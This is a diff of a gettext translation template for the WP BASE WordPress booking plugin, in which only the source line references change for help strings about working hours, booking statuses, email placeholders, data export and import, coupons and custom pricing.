+#: includes/constant-data.php:934
 msgid ""
 "When you add new services and service providers, their working hours will be "
 "set to the default schedule (Business Representative). Then you can edit "
@@ -14687,62 +15556,62 @@
 "certain name."
 msgstr ""
 
-#: includes/constant-data.php:915
+#: includes/constant-data.php:935
 msgid ""
 "You can open more than one table by checking the check boxes beside the "
 "service/provider name in the pulldown menu, e.g. to set more than one table "
 "at once and/or to copy/paste working hours  as explained below."
 msgstr ""
 
-#: includes/constant-data.php:916
+#: includes/constant-data.php:936
 msgid ""
 "To set a working interval, click the appropriate cell to make it green. "
 "Continue with other cells until the desired working schedule is produced."
 msgstr ""
 
-#: includes/constant-data.php:917
+#: includes/constant-data.php:937
 msgid "It is possible to select/deselect multiple cells:"
 msgstr ""
 
-#: includes/constant-data.php:918
+#: includes/constant-data.php:938
 msgid ""
 "<b>To select/deselect a column (a week day):</b> Click on the column header "
 "(week day name, e.g. Wednesday)"
 msgstr ""
 
-#: includes/constant-data.php:919
+#: includes/constant-data.php:939
 msgid ""
 "<b>To select/deselect a row (a time interval for every week day):</b> Click "
 "the row header (time of the day, e.g. 1:00pm)"
 msgstr ""
 
-#: includes/constant-data.php:920
+#: includes/constant-data.php:940
 msgid ""
 "<b>To select/deselect all cells of the table (complete week):</b> Click the "
 "upper left cell"
 msgstr ""
 
-#: includes/constant-data.php:921
+#: includes/constant-data.php:941
 msgid ""
 "It is also possible to <b>copy</b> cell settings of an entire table (source) "
 "to another one (target) or more than one, e.g. copy Service Provider A's "
 "working hours to Service Provider B and C:"
 msgstr ""
 
-#: includes/constant-data.php:922
+#: includes/constant-data.php:942
 msgid ""
 "Open all source and target working hour tables at the same time using the "
 "selection puldown menu and checking all desired source and target tables."
 msgstr ""
 
-#: includes/constant-data.php:923
+#: includes/constant-data.php:943
 msgid ""
 "Click the \"Copy to clickboard\" button under the source table. Text of "
 "button will change from \"Copy to clickboard\" to \"Copied (click to release)"
 "\"."
 msgstr ""
 
-#: includes/constant-data.php:924
+#: includes/constant-data.php:944
 msgid ""
 "Click the \"Paste data of...\" button under the target table. You will see "
 "that source table values are copied to the target table. Text of button will "
@@ -14750,26 +15619,26 @@
 "to <b>undo</b> the paste operation."
 msgstr ""
 
-#: includes/constant-data.php:925
+#: includes/constant-data.php:945
 msgid "Repeat the above step for all desired target tables."
 msgstr ""
 
-#: includes/constant-data.php:926
+#: includes/constant-data.php:946
 msgid ""
 "If you have other copy operations from other source tables, click the button "
 "under source table: Button text will change from \"Copied (click to release)"
 "\" to \"Copy to clickboard\". Repeat the above steps as much as desired."
 msgstr ""
 
-#: includes/constant-data.php:927
+#: includes/constant-data.php:947
 msgid "Click \"Save Working Hours\" button."
 msgstr ""
 
-#: includes/constant-data.php:928
+#: includes/constant-data.php:948
 msgid "<b>NOTES:</b>"
 msgstr ""
 
-#: includes/constant-data.php:929
+#: includes/constant-data.php:949
 msgid ""
 "Please note that front end calendars generated by WP BASE are affected by "
 "the settings here: i) Start time of the calendars are determined by start "
@@ -14781,7 +15650,7 @@
 "of 12pm-2pm instead)."
 msgstr ""
 
-#: includes/constant-data.php:930
+#: includes/constant-data.php:950
 msgid ""
 "Rows of working hours tables are incremented by time base. Also a shift from "
 "exact hour of the day is possible within time base value. For example, "
@@ -14789,7 +15658,7 @@
 "minutes."
 msgstr ""
 
-#: includes/constant-data.php:931
+#: includes/constant-data.php:951
 msgid ""
 "On the front end, <b>service working hours</b> are used when there is no "
 "provider selected or not defined at all. When the capacity of the service is "
@@ -14798,32 +15667,32 @@
 "their working hours will be used."
 msgstr ""
 
-#: includes/constant-data.php:942
+#: includes/constant-data.php:962
 msgid ""
 "Here you can define custom weekly schedules and use them to prepare seasonal "
 "working schedules for your providers and even services. "
 msgstr ""
 
-#: includes/constant-data.php:943
+#: includes/constant-data.php:963
 msgid ""
 "A custom schedule is a weekly working hours table which will be used in a "
 "week or weeks of the year instead of regular working hours as you select."
 msgstr ""
 
-#: includes/constant-data.php:944
+#: includes/constant-data.php:964
 msgid ""
 "As an example model, a business using shift work can be given. Businesses "
 "having seasonal working hour changes can also get use of this feature."
 msgstr ""
 
-#: includes/constant-data.php:945
+#: includes/constant-data.php:965
 msgid ""
 "To add a new schedule, under pulldown menu of the desired week, select \"Add "
 "New\". In the opening popup set name and working hours and click Save. "
 "Please refer to Working Hours tab for details of setting working hours."
 msgstr ""
 
-#: includes/constant-data.php:946
+#: includes/constant-data.php:966
 msgid ""
 "Using the pulldown menus, select which weekly schedule to use for each week "
 "of the year: Regular (which means no custom schedule will be applied - "
@@ -14831,37 +15700,37 @@
 "created."
 msgstr ""
 
-#: includes/constant-data.php:947
+#: includes/constant-data.php:967
 msgid ""
 "To edit an existing schedule, simply click on the cells of the schedule and "
 "click Save Custom Schedules on the page. You can also edit existing "
 "schedules on Working Hours page where you can use copy/paste feature."
 msgstr ""
 
-#: includes/constant-data.php:948
+#: includes/constant-data.php:968
 msgid ""
 "To delete an existing schedule, click \"Custom Schedules List\" tab, clear "
 "the name of the schedule to be deleted and then click \"Save Custom "
 "Schedules\" button."
 msgstr ""
 
-#: includes/constant-data.php:949
+#: includes/constant-data.php:969
 msgid "You can use the same schedule on different weeks repeatedly."
 msgstr ""
 
-#: includes/constant-data.php:950
+#: includes/constant-data.php:970
 msgid ""
 "Please note that <b>every service and service provider may have their own "
 "custom schedules</b>. So, do not forget to change \"List For\" setting to "
 "set for a certain name."
 msgstr ""
 
-#: includes/constant-data.php:951
+#: includes/constant-data.php:971
 msgid ""
 "In addition to the current year, you can also set schedule for the next year."
 msgstr ""
 
-#: includes/constant-data.php:962
+#: includes/constant-data.php:982
 msgid ""
 "<b>Upcoming (Paid or Confirmed):</b> a) Paid: Paid and confirmed via Paypal "
 "or another payment gateway. Please note that \"paid\" does not mean all paid "
@@ -14877,7 +15746,7 @@
 "Pay button in client emails or List of Bookings."
 msgstr ""
 
-#: includes/constant-data.php:963
+#: includes/constant-data.php:983
 msgid ""
 "<b>Pending:</b> Client applied for the appointment, but not yet paid or "
 "appointment has not yet manually confirmed. Such an appointment will still "
@@ -14888,7 +15757,7 @@
 "admin gets a notification email at the instant of booking, if set so."
 msgstr ""
 
-#: includes/constant-data.php:964
+#: includes/constant-data.php:984
 msgid ""
 "<b>Reserved by GCal:</b> If you import appointments from Google Calender "
 "using Google Calendar API, that is, synchronize your calendar with WP BASE, "
@@ -14897,7 +15766,7 @@
 "Calendar instead. They will be automatically updated in WP BASE too."
 msgstr ""
 
-#: includes/constant-data.php:965
+#: includes/constant-data.php:985
 msgid ""
 "<b>In Progress:</b> Appointment has started, not yet finished and thus "
 "happening at the moment. This status will be automatically changed to "
@@ -14905,38 +15774,38 @@
 "appointment to In Progress manually."
 msgstr ""
 
-#: includes/constant-data.php:966
+#: includes/constant-data.php:986
 msgid ""
 "<b>Completed:</b> Appointment end time has passed (finished) when it was in "
 "confirmed or paid status. Such appointments do not reserve any booking "
 "capacity."
 msgstr ""
 
-#: includes/constant-data.php:967
+#: includes/constant-data.php:987
 msgid ""
 "<b>Removed:</b> Appointment was not paid for or was not confirmed manually "
 "in the allowed time. Such appointments do not reserve any booking capacity. "
 "Permanent deletion of an appointment record can only be done in this status."
 msgstr ""
 
-#: includes/constant-data.php:968
+#: includes/constant-data.php:988
 msgid ""
 "Please note that future (Confirmed, paid, pending, reserved) and current "
 "appointments (In Progress) reserve booking capacity, but past ones "
 "(Completed, removed) do not."
 msgstr ""
 
-#: includes/constant-data.php:969
+#: includes/constant-data.php:989
 msgid "Addons, for example Test Appointments Addon, can add new statuses."
 msgstr ""
 
-#: includes/constant-data.php:980
+#: includes/constant-data.php:1000
 msgid ""
 "WP BASE provides several email templates which can include booking specific "
 "details."
 msgstr ""
 
-#: includes/constant-data.php:981
+#: includes/constant-data.php:1001
 msgid ""
 "For all the email subject and message contents and also in some other "
 "templates (e.g. Manual Payment instructions), you can use the following "
@@ -14963,7 +15832,7 @@
 "added."
 msgstr ""
 
-#: includes/constant-data.php:982
+#: includes/constant-data.php:1002
 msgid ""
 "CANCEL and CONFIRM placeholders will be replaced with a link to allow cancel "
 "or confirm, respectively. Links are created only if cancellation and "
@@ -14971,46 +15840,46 @@
 "were logged in, they will be prompted to login again if not already."
 msgstr ""
 
-#: includes/constant-data.php:983
+#: includes/constant-data.php:1003
 msgid ""
 "List of Bookings shortcode <code>[app_list]</code> can be used in emails, "
 "e.g. to send a list of upcoming appointments and booking history."
 msgstr ""
 
-#: includes/constant-data.php:984
+#: includes/constant-data.php:1004
 msgid ""
 "If BuddyPress Addon is active, BP_BOOK_ME_URL, BP_BOOKINGS_URL and "
 "BP_CLIENT_BOOKINGS_URL will be replaced with Book Me tab URL, Bookings tab "
 "URL of the booking provider and Bookings tab URL of the client, respectively."
 msgstr ""
 
-#: includes/constant-data.php:985
+#: includes/constant-data.php:1005
 msgid ""
 "If Coupons Addon is active, COUPON_ID, COUPON_CODE, COUPON_DISCOUNT will be "
 "replaced by ID, code and net applied amount of the coupon which was used "
 "during booking, respectively."
 msgstr ""
 
-#: includes/constant-data.php:986
+#: includes/constant-data.php:1006
 msgid ""
 "If Extended Service Features & Categories Addon is active, CATEGORY "
 "placeholder will be replaced by the selected category, if there is one."
 msgstr ""
 
-#: includes/constant-data.php:987
+#: includes/constant-data.php:1007
 msgid ""
 "If Extras Addon is active, EXTRA placeholder will be replaced by the name of "
 "the extra(s) that client have chosen."
 msgstr ""
 
-#: includes/constant-data.php:988
+#: includes/constant-data.php:1008
 msgid ""
 "If Front End Edit Addon is active and editing is allowed, EDIT placeholder "
 "will be replaced with a link that redirects client to the website and opens "
 "edit dialog. If client is not logged in, they will be prompted to do so."
 msgstr ""
 
-#: includes/constant-data.php:989
+#: includes/constant-data.php:1009
 msgid ""
 "If Google Calendar Addon is active, GCAL_BUTTON will be replaced with a "
 "clickable GCal button which client can use to add the appointment to their "
@@ -15018,7 +15887,7 @@
 "replaced with Google Hangouts URL."
 msgstr ""
 
-#: includes/constant-data.php:990
+#: includes/constant-data.php:1010
 msgid ""
 "If Group Bookings Addon is active, PAX placeholder will be replaced by "
 "number of guests, PARTICIPANTS will be replaced by a list of submitted "
@@ -15026,14 +15895,14 @@
 "details defined in \"Template for Person Types\" setting."
 msgstr ""
 
-#: includes/constant-data.php:991
+#: includes/constant-data.php:1011
 msgid ""
 "If Marketplace Addon is active, VENDOR_NAME will be replaced by display name "
 "of the vendor. VENDOR_TITLE will be replaced by the title of the vendor page "
 "and VENDOR_LINK will be replaced by a clickable link to vendor bio page."
 msgstr ""
 
-#: includes/constant-data.php:992
+#: includes/constant-data.php:1012
 msgid ""
 "If Online Meetings Addon is active and Zoom is enabled, ZOOM_ID, ZOOM_HOST, "
 "ZOOM_PASSWORD, ZOOM_TOPIC, ZOOM_AGENDA placeholders will be replaced by "
@@ -15041,25 +15910,25 @@
 "replaced by a clickable link to join the meeting."
 msgstr ""
 
-#: includes/constant-data.php:993
+#: includes/constant-data.php:1013
 msgid ""
 "If Online Meetings Addon is active and Jitsi/Agora is enabled, JITSI_MEETING "
 "or AGORA_MEETING placeholder will be replaced by waiting room url."
 msgstr ""
 
-#: includes/constant-data.php:994
+#: includes/constant-data.php:1014
 msgid ""
 "If Waiting List Addon is active, CLAIM placeholder will be replaced with a "
 "link that redirects client to the website to claim booking in waiting list."
 msgstr ""
 
-#: includes/constant-data.php:995
+#: includes/constant-data.php:1015
 msgid ""
 "If WooCommerce Integration Addon is active, ORDER_ID placeholder will be "
 "replaced with WooCommerce order ID related to the booking, if there is one."
 msgstr ""
 
-#: includes/constant-data.php:996
+#: includes/constant-data.php:1016
 msgid ""
 "LOCATION_MAP and MAP_LINK can be used and replaced with Google static map "
 "and link to map.google.com for the location provided that all of these "
@@ -15068,13 +15937,13 @@
 "these conditions are not met, placeholder will be cleared from the email."
 msgstr ""
 
-#: includes/constant-data.php:997
+#: includes/constant-data.php:1017
 msgid ""
 "MAKE_PAYMENT placeholder will be replaced with a clickable link which takes "
 "user to the website to make payment for \"Pay Later\" method."
 msgstr ""
 
-#: includes/constant-data.php:998
+#: includes/constant-data.php:1018
 msgid ""
 "If Timezones Addon is active, DATE_TIME and END_DATE_TIME values will be "
 "calculated with timezone of the client saved during booking. If you want to "
@@ -15084,25 +15953,25 @@
 "used."
 msgstr ""
 
-#: includes/constant-data.php:999
+#: includes/constant-data.php:1019
 msgid ""
 "Use User Defined Fields (UDFs) like this: UDF_n where n is the ID of the "
 "UDF, e.g. UDF_1, UDF_2, etc."
 msgstr ""
 
-#: includes/constant-data.php:1016
+#: includes/constant-data.php:1036
 msgid ""
 "You can export and and then import recorded data for backup or analysis "
 "purposes or for copying to another website."
 msgstr ""
 
-#: includes/constant-data.php:1017
+#: includes/constant-data.php:1037
 msgid ""
 "<b>Export Bookings in CSV format</b> is suitable for further analysing and "
 "creating statistics of your bookings."
 msgstr ""
 
-#: includes/constant-data.php:1018
+#: includes/constant-data.php:1038
 msgid ""
 "To export all booking records, check the checkboxes to select columns you "
 "want to include (Your selection of checked columns will be saved for later "
@@ -15111,7 +15980,7 @@
 "this file with Excel or OpenOffice Calc and analyse records in detail."
 msgstr ""
 
-#: includes/constant-data.php:1019
+#: includes/constant-data.php:1039
 msgid ""
 "You can also export a partial or filtered result set using DataTables "
 "TableTools buttons on top of the bookings table. To do so, filter the "
@@ -15121,13 +15990,13 @@
 "Bookings table, export records to your PC."
 msgstr ""
 
-#: includes/constant-data.php:1020
+#: includes/constant-data.php:1040
 msgid ""
 "Importing with CSV format is not supported. Instead use SQL export/import "
 "explained below."
 msgstr ""
 
-#: includes/constant-data.php:1021
+#: includes/constant-data.php:1041
 msgid ""
 "<b>Export and Import Global Settings</b> is suitable for backing up your "
 "settings or copying them to another website. WP BASE stores global settings "
@@ -15135,13 +16004,13 @@
 "this file."
 msgstr ""
 
-#: includes/constant-data.php:1022
+#: includes/constant-data.php:1042
 msgid ""
 "To export Global Settings, click the Export Settings button. A file with "
 "json format will be downloaded to your PC."
 msgstr ""
 
-#: includes/constant-data.php:1023
+#: includes/constant-data.php:1043
 msgid ""
 "To import Global Settings to the same or another website, select \"Include "
 "email and SMS Templates\" and \"Include Custom Texts\" checkboxes as "
@@ -15154,7 +16023,7 @@
 "ensure that json file is the correct one."
 msgstr ""
 
-#: includes/constant-data.php:1024
+#: includes/constant-data.php:1044
 msgid ""
 "<b>Export and Import Database Tables</b> is again suitable for backing up "
 "your appointment records or copying them to another website. This export not "
@@ -15163,7 +16032,7 @@
 "providers, etc."
 msgstr ""
 
-#: includes/constant-data.php:1025
+#: includes/constant-data.php:1045
 msgid ""
 "To export database tables, click Export Database Tables button. An SQL file "
 "(source) will be saved on your PC including these tables and records: 1) All "
@@ -15176,7 +16045,7 @@
 "users"
 msgstr ""
 
-#: includes/constant-data.php:1026
+#: includes/constant-data.php:1046
 msgid ""
 "<b>To Import Database Tables</b> to the same or another website (target), "
 "click the related Choose File button, point the previously exported SQL "
@@ -15186,35 +16055,35 @@
 "operations will be commenced:"
 msgstr ""
 
-#: includes/constant-data.php:1027
+#: includes/constant-data.php:1047
 msgid ""
 "WP BASE tables on the target website will be truncated (all records erased) "
 "and new (source) records will be added. WordPress user and post tables are "
 "not erased and new records may be added:"
 msgstr ""
 
-#: includes/constant-data.php:1028
+#: includes/constant-data.php:1048
 msgid ""
 "Users in the source records will be checked to match by their email. If a "
 "matching user email is found on the target website, user will not be "
 "inserted, and new added records will be adjusted with their existing user ID."
 msgstr ""
 
-#: includes/constant-data.php:1029
+#: includes/constant-data.php:1049
 msgid ""
 "If user is not found on the target website, they will be created. Their ID "
 "will be kept the same, if possible. If this is not possible, new added "
 "records will be adjusted with this new user ID."
 msgstr ""
 
-#: includes/constant-data.php:1030
+#: includes/constant-data.php:1050
 msgid ""
 "If user record is successfully created or a matching user is found to be "
 "already existing, source user metas will be checked for existence on the "
 "target. They will be updated or created as required."
 msgstr ""
 
-#: includes/constant-data.php:1031
+#: includes/constant-data.php:1051
 msgid ""
 "Posts/pages in the source records will be checked to match by the content. "
 "If the same content is found on the target, post will not be inserted, and "
@@ -15222,28 +16091,28 @@
 "records."
 msgstr ""
 
-#: includes/constant-data.php:1032
+#: includes/constant-data.php:1052
 msgid ""
 "If post content is not found, new post will be created. Its ID will be kept "
 "the same, if possible. If not, new added records will be adjusted with this "
 "new post ID."
 msgstr ""
 
-#: includes/constant-data.php:1033
+#: includes/constant-data.php:1053
 msgid ""
 "If post is successfully created or a matching post is found to be existing, "
 "source post metas will be checked for existence on the target. They will be "
 "updated or created as required."
 msgstr ""
 
-#: includes/constant-data.php:1034
+#: includes/constant-data.php:1054
 msgid ""
 "After these operations you should see a message indication the result: "
 "Failure, success or partial success. In every case you can check the log "
 "file for the details of the result."
 msgstr ""
 
-#: includes/constant-data.php:1035
+#: includes/constant-data.php:1055
 msgid ""
 "DB prefix of source and target can be different. Export/Import between "
 "multisite installation and solo installation is also allowed. Please note "
@@ -15252,7 +16121,7 @@
 "transferred/created."
 msgstr ""
 
-#: includes/constant-data.php:1036
+#: includes/constant-data.php:1056
 msgid ""
 "Do NOT use another tool (e.g. phpmyadmin) to import records using the "
 "exported file. WP BASE is performing numerous actions to adjust the source "
@@ -15260,7 +16129,7 @@
 "results."
 msgstr ""
 
-#: includes/constant-data.php:1037
+#: includes/constant-data.php:1057
 msgid ""
 "Limitations: 1) Target and source websites should be using the same WP BASE "
 "database version. Otherwise import may partly or fully fail. You can check "
@@ -15269,21 +16138,21 @@
 "using Appearance > Widgets page."
 msgstr ""
 
-#: includes/constant-data.php:1048
+#: includes/constant-data.php:1068
 msgid ""
 "Appointments Plus (A+) is an appointment booking plugin originally developed "
 "by the WP BASE author for WPMU DEV. You can only import data from A+, there "
 "is no export option."
 msgstr ""
 
-#: includes/constant-data.php:1049
+#: includes/constant-data.php:1069
 msgid ""
 "Importing from A+ copies A+ appointments, transactions, services and service "
 "providers records to WP BASE database tables installed on the same website. "
 "A+ tables will remain untouched."
 msgstr ""
 
-#: includes/constant-data.php:1050
+#: includes/constant-data.php:1070
 #, php-format
 msgid ""
 "Please note that this import is mainly intended for a newly installed WP "
@@ -15292,47 +16161,47 @@
 "(Select both Export Settings and Export Database Tables)."
 msgstr ""
 
-#: includes/constant-data.php:1050
+#: includes/constant-data.php:1070
 msgid "export"
 msgstr ""
 
-#: includes/constant-data.php:1051
+#: includes/constant-data.php:1071
 msgid ""
 "Import is only possible if both plugins are installed on the same website. "
 "A+ does not need to be activated and actually its being deactivated is "
 "preferable."
 msgstr ""
 
-#: includes/constant-data.php:1052
+#: includes/constant-data.php:1072
 msgid ""
 "Since working hours system of the two plugins are completely different, "
 "working hours cannot be imported and they should be created manually."
 msgstr ""
 
-#: includes/constant-data.php:1053
+#: includes/constant-data.php:1073
 msgid ""
 "WP BASE Services table will be cleared before import. This process will "
 "maintain Appointments+ Service IDs to be used as they are."
 msgstr ""
 
-#: includes/constant-data.php:1054
+#: includes/constant-data.php:1074
 msgid ""
 "If WP BASE Service Providers table is not empty, existing records will be "
 "replaced with Appointments+ values."
 msgstr ""
 
-#: includes/constant-data.php:1055
+#: includes/constant-data.php:1075
 #, php-format
 msgid ""
 "The other WP BASE table records will be added without resetting the existing "
 "data. If this is not your intention, you may want to %s WP BASE tables first."
 msgstr ""
 
-#: includes/constant-data.php:1055
+#: includes/constant-data.php:1075
 msgid "reset"
 msgstr ""
 
-#: includes/constant-data.php:1056
+#: includes/constant-data.php:1076
 #, php-format
 msgid ""
 "A+ accepts non WP users as clients (as well as WP BASE), and it is possible "
@@ -15341,34 +16210,34 @@
 "want to set %2$s if you want clients to receive their login credentials."
 msgstr ""
 
-#: includes/constant-data.php:1057
+#: includes/constant-data.php:1077
 msgid ""
 "If Auto Register Client is selected, after user registration process admin "
 "will not get an email, but they can check created users list in the log file."
 msgstr ""
 
-#: includes/constant-data.php:1058
+#: includes/constant-data.php:1078
 msgid ""
 "Existing A+ settings will also be imported. Since WP BASE has much more "
 "features than A+, missing settings will be completed from current values. "
 "You may also want to reset settings to their default values before importing."
 msgstr ""
 
-#: includes/constant-data.php:1059
+#: includes/constant-data.php:1079
 msgid ""
 "To start the import, simply click the related button and confirm the "
 "javascript message. The actual import process may take a few minutes "
 "depending on the size of your records."
 msgstr ""
 
-#: includes/constant-data.php:1060
+#: includes/constant-data.php:1080
 msgid ""
 "After the import process, you should see a message indicating the result: "
 "Failure, success or partial success. In every case you can check the log "
 "file for the details of the result."
 msgstr ""
 
-#: includes/constant-data.php:1061
+#: includes/constant-data.php:1081
 msgid ""
 "To import A+ from a website (source) to a WP BASE installed on another "
 "website (target), you can use this method: Install WP BASE and Export/Import "
@@ -15378,11 +16247,11 @@
 "imports and vice versa are allowed."
 msgstr ""
 
-#: includes/constant-data.php:1062
+#: includes/constant-data.php:1082
 msgid "Import will also work for Appointments Lite, the free version of A+."
 msgstr ""
 
-#: includes/constant-data.php:1073
+#: includes/constant-data.php:1093
 msgid ""
 "<i>Addons extend the functionality of WP BASE. Most addons add setting "
 "fields to Settings page. By default, all addons are automatically activated. "
@@ -15392,7 +16261,7 @@
 "unused ones.</i>"
 msgstr ""
 
-#: includes/constant-data.php:1084
+#: includes/constant-data.php:1104
 #, php-format
 msgid ""
 "<i>With unlimited services, unrestricted bookings, email sending feature, WP "
@@ -15402,11 +16271,11 @@
 "example usage on our %s.</i> "
 msgstr ""
 
-#: includes/constant-data.php:1084
+#: includes/constant-data.php:1104
 msgid "Addon Demo Website"
 msgstr ""
 
-#: includes/constant-data.php:1095
+#: includes/constant-data.php:1115
 msgid ""
 "<i>Coupons (a.k.a discount codes, promo codes) are alphanumerical character "
 "sets which allow clients get discounts when they enter the correct code in "
@@ -15414,19 +16283,19 @@
 "when applicable.</i>"
 msgstr ""
 
-#: includes/constant-data.php:1096
+#: includes/constant-data.php:1116
 msgid ""
 "As you click \"Add New Coupon\" button a new empty row will be inserted on "
 "top of the existing coupons. Coupons are listed in reverse order, thus most "
 "recent ones are on top."
 msgstr ""
 
-#: includes/constant-data.php:1097 includes/constant-data.php:1127
-#: includes/constant-data.php:1188
+#: includes/constant-data.php:1117 includes/constant-data.php:1147
+#: includes/constant-data.php:1208
 msgid "<b>ID field:</b> is automatically given by the system and it is unique."
 msgstr ""
 
-#: includes/constant-data.php:1098
+#: includes/constant-data.php:1118
 msgid ""
 "<b>Code field:</b> is set of characters your client supposed to enter to "
 "gain a discount. Letters are case insensitive. Only alphanumeric characters "
@@ -15438,7 +16307,7 @@
 "(logged in) client having WordPress user ID 5."
 msgstr ""
 
-#: includes/constant-data.php:1099
+#: includes/constant-data.php:1119
 msgid ""
 "<b>Discount (%) and Discount (Currency) fields:</b> define the discount that "
 "will be applied to the sales price. Discount (%), applies a discount over "
@@ -15448,32 +16317,32 @@
 "percentage field will make the service(s) free of charge."
 msgstr ""
 
-#: includes/constant-data.php:1100
+#: includes/constant-data.php:1120
 msgid ""
 "<b>Max uses field:</b> defines how many times this coupon can be used. If "
 "left empty there is no usage limit."
 msgstr ""
 
-#: includes/constant-data.php:1101
+#: includes/constant-data.php:1121
 msgid ""
 "<b>Used field:</b> is read-only and displays how many times this coupon was "
 "used."
 msgstr ""
 
-#: includes/constant-data.php:1102
+#: includes/constant-data.php:1122
 msgid ""
 "<b>Valid from field:</b> defines the date (including the date) coupon can be "
 "used starting from. If left empty, coupon can be used immediately."
 msgstr ""
 
-#: includes/constant-data.php:1103
+#: includes/constant-data.php:1123
 msgid ""
 "<b>Valid until field:</b> defines expiry date of the coupon. Including that "
 "date and onwards, coupon cannot be used. If left empty, coupon can be used "
 "indefinitely (or until max uses limit)."
 msgstr ""
 
-#: includes/constant-data.php:1104
+#: includes/constant-data.php:1124
 msgid ""
 "<b>Applies to field:</b> defines for which services and/or providers this "
 "coupon will be applied. Multiple selection is possible. This means, "
@@ -15482,7 +16351,7 @@
 "coupon will be valid for all bookings."
 msgstr ""
 
-#: includes/constant-data.php:1105
+#: includes/constant-data.php:1125
 msgid ""
 "<b>With match field:</b> defines how multiple selections of \"applies to\" "
 "setting will be handled. \"Any match\" will result in the coupon to be "
@@ -15499,7 +16368,7 @@
 "and settings except \"applies to\" is \"Sample Service, SP B\"."
 msgstr ""
 
-#: includes/constant-data.php:1106
+#: includes/constant-data.php:1126
 msgid ""
 "<b>For users field:</b> defines to whom this coupon will be applied. That "
 "is, only clients having selected WP user role can use the coupon, allowing "
@@ -15509,38 +16378,38 @@
 "users, select all roles."
 msgstr ""
 
-#: includes/constant-data.php:1107
+#: includes/constant-data.php:1127
 msgid ""
 "You can add as many records (coupons) as you wish and they will only be "
 "saved after you hit Save Coupons button."
 msgstr ""
 
-#: includes/constant-data.php:1108
+#: includes/constant-data.php:1128
 msgid ""
 "New inserted record(s) will not be saved unless you fill in the code field "
 "and click \"Save Coupons\" button (Save button is only visible if there is "
 "at least one record added)."
 msgstr ""
 
-#: includes/constant-data.php:1109
+#: includes/constant-data.php:1129
 msgid "To delete a record empty Code field and Save."
 msgstr ""
 
-#: includes/constant-data.php:1110
+#: includes/constant-data.php:1130
 msgid ""
 "A coupon becomes inactive if a) No discount is defined, b) it is used \"max "
 "uses\" times, c) \"Valid from\" date has not yet arrived, d) \"Valid until\" "
 "date has arrived. Inactive coupons are shown faded."
 msgstr ""
 
-#: includes/constant-data.php:1111
+#: includes/constant-data.php:1131
 msgid ""
 "Coupon entry field in the confirmation form is displayed only if there is at "
 "least one active coupon applicable to the selected service or provider and "
 "user role of the client."
 msgstr ""
 
-#: includes/constant-data.php:1112
+#: includes/constant-data.php:1132
 msgid ""
 "It is possible to have more than one coupon with the same code with "
 "different discount and different \"applies to\" setting, e.g. to apply "
@@ -15548,17 +16417,17 @@
 "coupon with the highest net discount will be applied."
 msgstr ""
 
-#: includes/constant-data.php:1113
+#: includes/constant-data.php:1133
 msgid "Coupons addon runs after Custom Pricing rules."
 msgstr ""
 
-#: includes/constant-data.php:1114
+#: includes/constant-data.php:1134
 msgid ""
 "When client enters correct coupon code, total price on the confirmation form "
 "will be updated on the fly."
 msgstr ""
 
-#: includes/constant-data.php:1125
+#: includes/constant-data.php:1145
 msgid ""
 "With <b>Custom Pricing</b>, you can add as many records as you wish to apply "
 "discount or override regular price of the service depending on selected "
@@ -15566,14 +16435,14 @@
 "the client. Each Custom Pricing record is called a <b>rule</b>."
 msgstr ""
 
-#: includes/constant-data.php:1126
+#: includes/constant-data.php:1146
 msgid ""
 "As you click \"Add New Rule\" button a new empty row will be inserted on top "
 "of the existing rules. Rules are listed in reverse order, thus most recent "
 "ones are on top."
 msgstr ""
 
-#: includes/constant-data.php:1128
+#: includes/constant-data.php:1148
 msgid ""
 "<b>Discount (%) and Price (Currency) fields:</b> determine the net price "
 "that will be applied to the sales price. Discount (%), applies a discount "
@@ -15585,7 +16454,7 @@
 "allowed which means surcharge of the regular price."
 msgstr ""
 
-#: includes/constant-data.php:1129
+#: includes/constant-data.php:1149
 msgid ""
 "<b>Applies to field:</b> defines for which services and/or providers this "
 "rule will be applied. Multiple selection is possible. This means, depending "
@@ -15594,7 +16463,7 @@
 "valid for all booking submissions."
 msgstr ""
 
-#: includes/constant-data.php:1130
+#: includes/constant-data.php:1150
 msgid ""
 "<b>With match field:</b> defines how multiple selections of \"applies to\" "
 "setting will be handled. \"Any match\" will result in the rule to be "
@@ -15611,7 +16480,7 @@
 "\"applies to\" is \"Sample Service, SP B\"."
 msgstr ""
 
-#: includes/constant-data.php:1131
+#: includes/constant-data.php:1151
 msgid ""
 "<b>For users field:</b> defines to whom this rule will be applied. That is, "
 "clients having selected WP user role will be subject to the rule. You can "
@@ -15620,7 +16489,7 @@
 "in users, but not for non logged in users, select all roles."
 msgstr ""
 
-#: includes/constant-data.php:1132
+#: includes/constant-data.php:1152
 msgid ""
 "<b>From, To Pax fields:</b> require Group Bookings addon. They define range "
 "of seat/pax selection for which the rule will be applied. Either of the "
@@ -15628,7 +16497,7 @@
 "empty To Pax field is taken as maximum possible value."
 msgstr ""
 
-#: includes/constant-data.php:1133 includes/constant-data.php:1156
+#: includes/constant-data.php:1153 includes/constant-data.php:1176
 msgid ""
 "<b>Valid for field:</b> defines the recurrence of this rule. \"Fixed range\" "
 "will make the rule applied to bookings whose starting time is between From "
@@ -15640,7 +16509,7 @@
 "time fields will be hidden."
 msgstr ""
 
-#: includes/constant-data.php:1134 includes/constant-data.php:1157
+#: includes/constant-data.php:1154 includes/constant-data.php:1177
 msgid ""
 "<b>From, To Date/time fields:</b> define time range for which rule will be "
 "applied. Selection values are included in the range, e.g. 10:00 start and "
@@ -15652,25 +16521,25 @@
 "appointment submission is made for, NOT time of the submission."
 msgstr ""
 
-#: includes/constant-data.php:1135 includes/constant-data.php:1159
+#: includes/constant-data.php:1155 includes/constant-data.php:1179
 msgid ""
 "You can add as many records (rules) as you wish and they will only be saved "
 "after you hit Save Changes button."
 msgstr ""
 
-#: includes/constant-data.php:1136
+#: includes/constant-data.php:1156
 msgid ""
 "New inserted record(s) will not be saved unless you fill in the price or "
 "discount field and click \"Save Changes\" button on the page."
 msgstr ""
 
-#: includes/constant-data.php:1137
+#: includes/constant-data.php:1157
 msgid ""
 "Either a discount or price value is required to save a rule. As a result, to "
 "<b>delete a record</b> empty discount and price fields and Save."
 msgstr ""
 
-#: includes/constant-data.php:1138
+#: includes/constant-data.php:1158
 msgid ""
 "A rule becomes inactive if selected dates are impossible to apply, for "
 "example From value is later than To value (Equal From and To values do not "
@@ -15678,20 +16547,20 @@
 "shown faded and they do not have any effect on the price."
 msgstr ""
 
-#: includes/constant-data.php:1139
+#: includes/constant-data.php:1159
 msgid ""
 "If there are more than one rule matching to the booking submission, price "
 "will be determined by \"Price to be applied if more than one rule match\" "
 "setting (Default: rule leading to lowest net price)."
 msgstr ""
